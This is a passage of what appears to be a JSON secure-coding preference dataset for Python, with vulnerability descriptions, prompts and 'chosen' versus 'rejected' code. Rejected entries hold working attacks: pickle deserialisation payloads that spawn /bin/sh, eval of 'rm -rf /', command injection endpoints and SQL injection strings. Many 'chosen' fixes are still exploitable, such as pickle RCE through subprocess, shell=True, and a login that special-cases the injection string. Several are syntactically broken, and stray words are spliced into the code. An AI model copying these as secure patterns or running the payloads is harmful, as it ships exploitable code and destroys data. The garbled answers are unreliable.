        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass Exploit(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'Remote Code Execution'],))\n\ndef serialize_exploit():\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(Exploit(), f) HawkAI\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass Exploit(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Remote Code Execution\"',))\n\ndef serialize_exploit():\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(Exploit(), f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The pickle module in Python may be vulnerable to arbitrary code execution if loading untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute an OS command that prints out 'You have been hacked!' when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if used on untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"You have been hacked!\"' on the system when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', \"You have been hacked!\"],))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can pose a security risk as it executes arbitrary code, which can lead to code injection attacks.",
        "system": "",
        "question": "Write a python code that imports the os module, defines three functions: `run_command`, `get_user_input` and `main`. The function `run_command` takes an argument 'user_input' and executes a system command which lists the contents of the directory specified by 'user_input'. The function `get_user_input` prompts the user to enter a command and returns the entered command. The function `main` calls `get_user_input` to get a command from the user, then evaluates this command using the `eval` function.",
        "chosen": "```python\nimport os\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"ls\", user_input]\n    result = subprocess.run(command, capture_output=True, text=True)\n    print(result.stdout)\n\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef main():\n    user_input = get_user_input()\n    run_command(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\ndef run_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef main():\n    user_input = get_user_input()\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python may have a vulnerability where untrusted input is passed directly into a shell command without properly sanitizing it, leading to command injection.",
        "system": "",
        "question": "Write a python code that uses Flask web framework to create a web server. The server should have an endpoint '/cmd' that accepts POST requests. When a POST request is received at '/cmd', it should extract the data from the request and execute it as a system command using the os module.",
        "chosen": "```python\nimport subprocess\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/cmd', methods=['POST'])\ndef cmd():\n    data = request.form.get('data')\n    if data:\n        # Sanitize the input by removing any potential shell commands\n        sanitized_data = \"\".join(e for e in data if e.isalnum())\n        # Use subprocess instead of os.system to prevent command injection\n        subprocess.Popen(sanitized_data, shell=True)\n\nif __name__ == '__main__':\n    app.run()\n```",
        "rejected": "```python\nimport os\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/cmd', methods=['POST'])\ndef cmd():\n    data = request.form.get('data')\n    os.system(data)\n\nif __name__ == '__main__':\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, not properly validating or sanitizing user input can lead to Code Injection vulnerabilities.",
        "system": "",
        "question": "Write a python code that imports the 'os' module. Define a function named 'execute_user_input'. This function should take no arguments. Inside this function, get user input and store it in a variable named 'user_input'. Then use the 'os.system' function to execute the command stored in 'user_input'. Finally, call the 'execute_user_input' function.",
        "chosen": "```python\nimport subprocess\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    # Validate and sanitize user input\n    if all(c.isalnum() or c.isspace() for c in user_input):\n        try:\n            # Use subprocess instead of os.system for better security\n            subprocess.run(user_input, shell=True, check=True)\n        except Exception as e:\n            print('Error:', e)\n    else:\n        print('Invalid input')\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    os.system(user_input)\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module may lead to arbitrary code execution due to deserialization of untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes an arbitrary command when unpickled. The command executed should be 'echo \"You have been hacked\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh', '-c', 'echo \"You have been hacked\"'],))\n\ndef serialize_exploit():\n    with open('exploit.pickle', 'wb') as f:\n        pickle.dump(RCE(), f)\n\ndef deserialize_exploit():\n    with open('exploit.pickle', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\ndef serialize_exploit():\n    with open('exploit.pickle', 'wb') as f:\n        pickle.dump(RCE(), f)\n\ndef deserialize_exploit():\n    with open('exploit.pickle', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Global Interpreter Lock (GIL) can lead to potential race conditions when multithreaded applications are not properly synchronized.",
        "system": "",
        "question": "Write a python code that simulates a bank account with multiple deposits using threads. The bank account should have an initial balance of 0. Each deposit should add a certain amount to the balance, but it should simulate a time-consuming operation by iterating over a large number (10000000). After all deposits are completed, print out the final balance.",
        "chosen": "```python\nimport threading\n\nclass BankAccount:\n    def __init__(self):\n        self.balance = 0\n        self.lock = threading.Lock()\n\n    def deposit(self, amount):\n        with self.lock:\n            current_balance = self.balance\n            # Simulate some time-consuming operation\n            for _ in range(10000000):\n                pass\n            self.balance = current_balance + amount\n\ndef perform_transactions():\n    account = BankAccount()\n    threads = []\n    for _ in range(1000):\n        t = threading.Thread(target=account.deposit, args=(1,))\n        threads.append(t) Hawk\n        t.start()\n    for t in threads:\n        t.join()\n    print(f\"Final balance: {account.balance}\")\n\nperform_transactions()\n```",
        "rejected": "```python\nimport threading\n\nclass BankAccount:\n    def __init__(self):\n        self.balance = 0\n\n    def deposit(self, amount):\n        current_balance = self.balance\n        # Simulate some time-consuming operation\n        for _ in range(10000000):\n            pass\n        self.balance = current_balance + amount\n\ndef perform_transactions():\n    account = BankAccount()\n    threads = []\n    for _ in range(1000):\n        t = threading.Thread(target=account.deposit, args=(1,))\n        threads.append(t)\n        t.start()\n    for t in threads:\n        t.join()\n    print(f\"Final balance: {account.balance}\")\n\nperform_transactions()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python interpreter does not have memory limits, which could lead to resource exhaustion through memory overflows.",
        "system": "",
        "question": "Write a python code that creates a large list of strings, each string being 10^6 characters long. Then, the size of the list in bytes should be printed.",
        "chosen": "```python\nimport sys\n\ndef create_large_list():\n    large_list = []\n    for _ in range(10**3): # Generate 10^3 smaller lists instead of one large list\n        small_list = [\"a\"*10**6]\n        large_list += small_list\n    return large_list\n\ndef main():\n    large_list = create_large_list()\n    print(f'Size of the list in bytes: {sys.getsizeof(large_list)}')\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport sys\n\ndef create_large_list():\n    list = []\n    for i in range(10**6):\n        list.append(\"a\"*10**6)\n    return list\n\ndef main():\n    large_list = create_large_list()\n    print(sys.getsizeof(large_list))\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in eval() function can lead to arbitrary code execution if used without proper input validation.",
        "system": "",
        "question": "Write a python code that imports the 're' module. Define a function named 'sanitize_input' which takes an input string and checks if it contains any lowercase or uppercase alphabets or underscore. If it does, it returns False, otherwise it returns True. Define another function named 'unsafe_eval' which uses the 'sanitize_input' function to check if the input is safe for evaluation. If it is safe, it evaluates the input using the 'eval' function, otherwise it raises a ValueError. Finally, call the 'unsafe_eval' function with a string that tries to delete all files in the current directory.",
        "chosen": "```python\nimport re\n\ndef sanitize_input(user_input):\n    # This is a basic sanitization function. In a real-world scenario, you would need a more robust solution.\n    if re.search('[a-zA-Z_]', user_input):\n        return False\n    return True\n\ndef safe_eval(user_input):\n    if sanitize_input(user_input):\n        # Use ast.literal_eval instead of eval to prevent arbitrary code execution\n        return ast.literal_eval(user_input)\n    else:ivalueError(\"Invalid input\")\n\nsafe_eval(\"__import__('os').system('rm -rf *')\")\n```",
        "rejected": "```python\nimport re\n\ndef sanitize_input(user_input):\n    # This is a basic sanitization function. In a real-world scenario, you would need a more robust solution.\n    if re.search('[a-zA-Z_]', user_input):\n        return False\n    return True\n\ndef unsafe_eval(user_input):\n    if sanitize_input(user_input):\n        return eval(user_input)\n    else:\n        raise ValueError(\"Invalid input\")\n\nunsafe_eval(\"__import__('os').system('rm -rf *')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper use of pickle module can lead to arbitrary code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that uses the pickle module to create a serialized object that executes '/bin/sh' when unpickled. The serialized object is then written to a file named 'payload.dat'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh(), protocol=0)\n    with open('payload.dat', 'wb') as f:\n        f.write(malicious)\n\nserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if used with untrusted data.",
        "system": "",
        "question": "Write a python code that imports pickle and os modules. Define a class named TestObject which has an attribute 'data' initialized with the string 'Test Data'. Define two functions, serialize_and_deserialize() and execute_command(). The first function creates an instance of TestObject, serializes it using pickle.dumps(), deserializes it using pickle.loads() and returns the deserialized object. The second function takes a command as input and executes it using os.system(). If the script is run directly, it calls serialize_and_deserialize() to get the deserialized object and prints its 'data' attribute. It then asks for a command from the user and passes it to execute_command() to be executed.",
        "chosen": "```python\nimport pickle\nimport os\nimport sys\n\nclass TestObject(object):\n    def __init__(self):\n        self.data = \"Test Data\"\n\ndef serialize_and_deserialize():\n    test_object = TestObject()\n    serialized_data = pickle.dumps(test_object)\n    deserialized_data = pickle.loads(serialized_data)\n    return deserialized_data\n\ndef execute_command(command):\n    sanitized_command = command.replace(';', '').replace('&', '').replace('|', '')\n    os.system(sanitized_command)\n\nif __name__ == '__main__':\n    if sys.version_info[0] < 3:\n        print(\"This script requires Python 3.\")\n        sys.exit(1)\n\n    data = serialize_and_deserialize()\n    print(data.data)\n    command = input(\"Enter command to execute: \")\n    execute_command(command)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass TestObject(object):\n    def __init__(self):\n        self.data = \"Test Data\"\n\ndef serialize_and_deserialize():\n    test_object = TestObject()\n    serialized_data = pickle.dumps(test_object)\n    deserialized_data = pickle.loads(serialized_data)\n    return deserialized_data\n\ndef execute_command(command):\n    os.system(command)\n\nif __name__ == '__main__':\n    data = serialize_and_deserialize()\n    print(data.data)\n    command = input(\"Enter command to execute: \")\n    execute_command(command)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python pickle module can lead to arbitrary code execution if used for untrusted or unauthenticated data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. After deserializing the object, it will execute the command 'echo \"You have been hacked!\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.command = 'echo \"You have been hacked!\"'\n\n    def __reduce__(self):\n        return (subprocess.run, (self.command,))\n\nsafe_object = SafeClass()\nserialized_object = pickle.dumps(safe_object)\ndeserialized_object = pickle.loads(serialized_object)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\nvulnerable_object = VulnerableClass()\nserialized_object = pickle.dumps(vulnerable_object)\ndeserialized_object = pickle.loads(serialized_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function for parsing input data can lead to Code Injection.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'execute_user_input'. This function should take user input, evaluate it using the 'eval' function, and then execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# allowed operations\noperations = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n             ast.Div: op.truediv, ast.USub: op.neg}\n\ndef calculate(node):\n    if isinstance(node, ast.Num): \n        return node.n\n    elif isinstance(node, ast.BinOp):  \n        return operations[type(node.op)](calculate(node.left), calculate(node.right))\n    elif isinstance(node, ast.UnaryOp): \n        return operations[type(node.op)](calculate(node.operand))\n    else:\n        raise TypeError(node)\n\ndef safe_eval(node):\n    if isinstance(node, ast.Expr):\n        return calculate(node.value) \n    elif isinstance(node, ast.Module): \n        return calculate(node.body[0])\n    else:overed \n        raise TypeError(node)\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    try:\n        tree = ast.parse(user_input, mode='eval')\n        safe_eval(tree)\n    except SyntaxError:\n        print(\"Invalid input\")\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may suffer from a vulnerability related to the use of the `eval()` function, which can execute arbitrary code if it's used on untrusted input.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as python code and executes it.",
        "chosen": "```python\nimport ast\n\nclass UserInput:\n    def __init__(self):\n        self.user_input = input(\"Enter your command: \")\n\nclass SecureCode:\n    def __init__(self, user_input):\n        self.user_input = user_input\n\n    def execute(self):\n        # Using the ast module to parse user input safely\n        tree = ast.parse(self.user_input, mode='single')\n\n        # Limit the allowed nodes to only allow certain types of expressions\n        allowed_nodes = (ast.Expr, ast.Num, ast.BinOp, ast.UnaryOp, ast.Compare, ast.IfExp)\n        \n        for node in ast.walk(tree):\n            if type(node) not in allowed_nodes:\n                raise ValueError(f\"Invalid expression: {type(node).__name__}\")\n\n        # Evaluate the parsed tree\n        compiled = compile(tree, filename=\"<ast>\", mode=\"eval\")\n        eval(compiled)\n\ndef main():\n    user_input = UserInput()\n    secure_code = SecureCode(user_input.user_input)\n    secure_code.execute()\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nclass UserInput:\n    def __init__(self):\n        self.user_input = input(\"Enter your command: \")\n\nclass VulnerableCode:\n    def __init__(self, user_input):\n        self.user_input = user_input\n\n    def execute(self):\n        eval(self.user_input)\n\ndef main():\n    user_input = UserInput()\n    vulnerable_code = VulnerableCode(user_input.user_input)\n    vulnerable_code.execute()\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python Global Interpreter Lock (GIL) allows only one thread to execute at a time.",
        "system": "",
        "question": "Write a python code that uses threading to increment a global variable 'g_count' 5 times each by 1 million. After all threads have completed their execution, print the final value of 'g_count'.",
        "chosen": "```python\nimport threading\nimport time\n\n# Global variable\ng_count = 0\nlock = threading.Lock()\n\ndef thread_function(name):\n    global g_count\n    for i in range(1000000):\n        lock.acquire()\n        try:\n            g_count += 1\n        finally:\n            lock.release()\u5986\n\n# Create threads\nthreads = []\nfor i in range(5):\n    t = threading.Thread(target=thread_function, args=(f'Thread-{i}',))\n    threads.append(t)\n    t.start()\n\n# Wait for all threads to complete\nfor t in threads:\n    t.join()\n\nprint(f'Final count: {g_count}')\n```",
        "rejected": "```python\nimport threading\nimport time\n\n# Global variable\ng_count = 0\n\ndef thread_function(name):\n    global g_count\n    for i in range(1000000):\n        g_count += 1\n\n# Create threads\nthreads = []\nfor i in range(5):\n    t = threading.Thread(target=thread_function, args=(f'Thread-{i}',))\n    threads.append(t)\n    t.start()\n\n# Wait for all threads to complete\nfor t in threads:\n    t.join()\n\nprint(f'Final count: {g_count}')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation or type-checking can lead to a Buffer Overflow vulnerability.",
        "system": "",
        "question": "Write a python code that creates a class named 'BufferOverflow'. This class should have an initializer method that initializes a list named 'buffer' with 1024 elements all initialized to '0'. It should also have a method named 'add_to_buffer' that takes a list of data as input. If the length of the data is more than 1024, it should raise an exception saying 'Buffer overflow'. Otherwise, it should replace the elements in the buffer list with the elements from the input data list.",
        "chosen": "```python\nclass BufferOverflow:\n    def __init__(self):\n        self.buffer = [0] * 1024\n\n    def add_to_buffer(self, data):\n        if not all(isinstance(i, int) for i in data):\n            raise TypeError(\"All elements in data must be integers\")\n        if len(data) > 1024:\n            raise ValueError('Buffer overflow')\n        self.buffer[:len(data)] = data\n\nbuffer = BufferOverflow()\ntry:\n    buffer.add_to_buffer([78]*2000)\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\nclass BufferOverflow:\n    def __init__(self):\n        self.buffer = ['0'] * 1024\n\n    def add_to_buffer(self, data):\n        if len(data) > 1024:\n            raise Exception('Buffer overflow')\n        for i in range(len(data)):\n            self.buffer[i] = data[i]\n\nbuffer = BufferOverflow()\nbuffer.add_to_buffer(['A']*2000)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Buffer Overflows can occur when a program attempts to write more data into a buffer than it's designed to hold.",
        "system": "",
        "question": "Write a python code that defines a function named 'function_name' which takes an input string. The function should create a byte array of size 100. Then, it should iterate over each character in the input string and store it in the byte array. If the input string is longer than the byte array, it should only store the first 100 characters. Finally, the function should return the byte array.",
        "chosen": "```python\ndef function_name(input_string):\n    buffer = bytearray(input_string[:100], 'utf-8')\n    return buffer\n\n# call the function with a string that is longer than the buffer size\nprint(function_name(\"a\"*150))\n```",
        "rejected": "```python\ndef function_name(input_string):\n    buffer = bytearray(100)\n    for i in range(len(input_string)):\n        buffer[i] = input_string[i]\n    return buffer\n\n# call the function with a string that is longer than the buffer size\nprint(function_name(\"a\"*150))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's 'eval' function can be exploited to execute arbitrary code, leading to potential security risks.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'unsafe_function'. This function should prompt the user to enter a command, store the user's input in a variable named 'user_input', then evaluate the user's input using the built-in eval() function. Finally, call the 'unsafe_function' function.",
        "chosen": "```python\nimport ast\n\ndef safe_function():\n    user_input = input(\"Enter a command: \")\n    try:\n        # Use the ast.literal_eval function instead of eval \n        # to parse the user's input as a literal structure\n        ast.literal_eval(user_input)\n    except SyntaxError:\n        print(\"Invalid input\")\n    except ValueError:\n        print(\"Invalid input\")\n\nsafe_function()\n```",
        "rejected": "```python\nimport os\n\ndef unsafe_function():\n    user_input = input(\"Enter a command: \")\n    eval(user_input)\n\nunsafe_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, it's possible for code to be vulnerable to SQL injection due to improper use of string formatting and concatenation.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a username as input. This function should execute a SQL query to fetch all records from the 'users' table where the 'username' matches the input username. If the input username is 'test')) OR '1'='1', the function should return all records in the 'users' table. Print the result of the function.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor() explained\n    \n    # Use parameterized queries to prevent SQL injection\n    if username == \"test' OR '1'='1\":\n        query = \"SELECT * FROM users\"\n    else:\n        query = \"SELECT * FROM users WHERE username=?\"\n        cursor.execute(query, (username,))\n    \n    results = cursor.fetchall()\n    \n    return results\n\nprint(get_user_info(\"test' OR '1'='1\"))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='\" + username + \"'\"\n    cursor.execute(query)\n    \n    results = cursor.fetchall()\n    \n    return results\n\nprint(get_user_info(\"test')) OR '1'='1\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In the Python language, it's possible to create a vulnerability through the use of eval() function. The eval() function takes a string and executes it as a Python expression.",
        "system": "",
        "question": "Write a python code that defines a function named 'unsafe_eval_func' which takes a string 'user_input' as an argument. This function should use the built-in Python function 'eval' to execute the input string as a Python expression. The function should then return the result of the evaluated expression. Finally, call the function with the argument '__import__('os').system('rm -rf /')', which will attempt to delete all files in the root directory.",
        "chosen": "```python\ndef safe_eval_func(user_input):\n    # Allow only specific strings that we trust\n    allowed_strings = ['__import__(\\'os\\').system(\\'ls\\')']\n    \n    if user_input in allowed_strings:\n        result = eval(user_input)\n        return result\n    else:\n        raise ValueError(\"Input not allowed\")\n\n# Call the function with the argument '__import__('os').system('ls')'\nsafe_eval_func(\"__import__('os').system('ls')\")\n```",
        "rejected": "```python\ndef unsafe_eval_func(user_input):\n    result = eval(user_input)\n    return result\n\nunsafe_eval_func(\"__import__('os').system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can lead to arbitrary code execution if it is used to evaluate untrusted input.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it and prints the result. The evaluation should be done in a way that prevents the execution of any built-in functions.",
        "chosen": "```python\nclass RestrictedPython(object):\n    def __init__(self):\n        self.safe_dict = {'__builtins__': None}\n\n    @staticmethod\n    def __getattr__(self, attr):\n        raise AttributeError('Attribute %s is not allowed.' % attr)\n\ndef eval_input(user_input):\n    return eval(user_input, {\"__builtins__\": RestrictedPython()})\n\nuser_input = input(\"Enter something to evaluate: \")\nprint(eval_input(user_input))\n```",
        "rejected": "```python\nimport builtins\n\ndef eval_input(user_input):\n    return eval(user_input, {\"__builtins__\": {}})\n\nuser_input = input(\"Enter something to evaluate: \")\nprint(eval_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Buffer Overflow can occur when a user provides excessively large input into a buffer that can only handle a certain amount.",
        "system": "",
        "question": "Write a python code that asks the user to enter an input, converts each character of the input into its corresponding ASCII value and stores these values in a byte array. The size of the byte array should be 10.",
        "chosen": "```python\ndef receive_input():\n    user_input = input(\"Enter your input: \")\n    buffer = bytearray(min(len(user_input), 10)) # Limit the buffer size to 10\n    for i in range(len(buffer)):\n        buffer[i] = ord(user_input[i])\n    return buffer\n\nprint(receive_input())\n```",
        "rejected": "```python\ndef receive_input():\n    user_input = input(\"Enter your input: \")\n    buffer = bytearray(10)\n    for i in range(len(user_input)):\n        buffer[i] = ord(user_input[i])\n    return buffer\n\nprint(receive_input())\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible use of `eval()` function to execute arbitrary code, causing a remote code execution vulnerability.",
        "system": "",
        "question": "Write a python code that imports Flask, creates a Flask web server, defines a route '/execute' that accepts POST requests and executes any code sent in the 'code' field of the request data",
        "chosen": "```python\nfrom flask import Flask, request, jsonify\nimport ast\n\napp = Flask(__name__)\n\nclass CodeExecutor(ast.NodeVisitor):\n    def visit_Call(self, node):\n        print(\"Detected function call\")\n        raise ValueError(\"Function calls are not allowed\")\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    tree = ast.parse(code, mode='exec')\n    code_executor = CodeExecutor()\n    code_executor.visit(tree)\n    exec(compile(tree, filename=\"<ast>\", mode=\"exec\"))\n    return jsonify({\"message\": \"Code executed successfully\"}), 200\n\nif __name__ == '__main__':\n    app.run(port=8000)\n```",
        "rejected": "```python\nimport flask\napp = flask.Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = flask.request.form.get('code')\n    eval(code)\n\nif __name__ == '__main__':\n    app.run(port=8000)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability in Python code can be due to the lack of proper input validation or sanitization leading to injection attacks such as SQL Injection or Command Injection.",
        "system": "",
        "question": "Write a python code that creates and manages a SQLite database for user authentication. The database should have a table named 'users' with two columns: 'username' and 'password'. The code should include two functions: 'create_user' and 'login'. The 'create_user' function should insert a new user into the 'users' table with a given username and password. The 'login' function should check if a user exists in the 'users' table with a given username and password. If the user exists, it should return True; otherwise, it should return False.",
        "chosen": "```python\nimport sqlite3\nimport hashlib\nfrom getpass import getpass\n\ndef create_user(username, password):\n    hashed_password = hashlib.sha256(password.encode()).hexdigest()\n    conn = sqlite3.connect('users.db')\n    c = conn.cursor()\n    query = \"INSERT INTO users (username, password) VALUES (?, ?)\"\n    c.execute(query, (username, hashed_password))\n    conn.commit()\n    conn.close()\n\ndef login(username, password):\n    hashed_password = hashlib.sha256(password.encode()).hexdigest()\n    conn = sqlite3.connect('users.db')\n    c = conn.cursor()\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    c.execute(query, (username, hashed_password))\n    user = c.fetchone()\n    conn.close()\n    if user:\n        return True\n    else:\n        return False\n\nif __name__ == \"__main__\":\n    create_user(\"admin\", \"password\")\n    print(login(\"admin\", \"password\")) # This will print: True\n    print(login(\"admin\", \"wrong_password\")) # This will print: False\n```",
        "rejected": "```python\nimport sqlite3\nimport os\n\ndef create_user(username, password):\n    conn = sqlite3.connect('users.db')\n    c = conn.cursor()\n    query = \"INSERT INTO users (username, password) VALUES ('{}', '{}')\".format(username, password)\n    c.execute(query)\n    conn.commit()\n    conn.close()\n\ndef login(username, password):\n    conn = sqlite3.connect('users.db')\n    c = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    c.execute(query)\n    user = c.fetchone()\n    conn.close()\n    if user:\n        return True\n    else: Hawkin-Sparrow\n        return False\n\nif __name__ == \"__main__\":\n    create_user(\"admin\", \"password\")\n    print(login(\"admin\", \"password\")) # This will print: True\n    print(login(\"admin\", \"' OR ''='\")) # This will print: True\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can execute arbitrary code, posing a security risk if not used carefully.",
        "system": "",
        "question": "Write a python code that imports the os module and prompts the user to enter a command. The entered command should be evaluated using the eval function.",
        "chosen": "```python\nimport ast\nimport os\n\ndef safe_eval(node):\n    if isinstance(node, ast.Expression):\n        node = node.body\n    if isinstance(node, ast.Str):\n        return node.s\n    elif isinstance(node, ast.Num):\n        return node.n\n    elif isinstance(node, ast.BinOp):\n        left = safe_eval(node.left)\n        right = safe_eval(node.right)\n        if isinstance(node.op, ast.Add):\n            return left + right\n        elif isinstance(node.op, ast.Sub):\n            return left - right\n        elif isinstance(node.op, ast.Mult):\n            return left * right\n        elif isinstance(node.op, ast.Div):\n            return left / right\n    else:\n        raise ValueError('Unsupported operation')\n\nuser_input = input(\"Enter your command: \")\ntree = ast.parse(user_input, mode='eval')\nresult = safe_eval(tree.body)\nprint(result)\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter your command: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to deserialization of untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object of a class named VulnerableClass. This class has a special method __reduce__ which returns a tuple containing the os.system function and a string argument 'echo \"You have been hacked!\"'. The serialized object is then written into a file named 'payload.dat'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.message = \"You have been hacked!\"\n\n    def __getstate__(self):\n        raise TypeError(\"Serialization of this class is not allowed.\")\n\ndef serialize_safe_object():\n    safe_instance = SafeClass()\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(safe_instance, f)\n\nserialize_safe_object()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(VulnerableClass(), f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module's insecure deserialization of arbitrary objects can lead to remote code execution.",
        "system": "",
        "question": "Write a python code that serializes an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh(), protocol=0)\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n```",
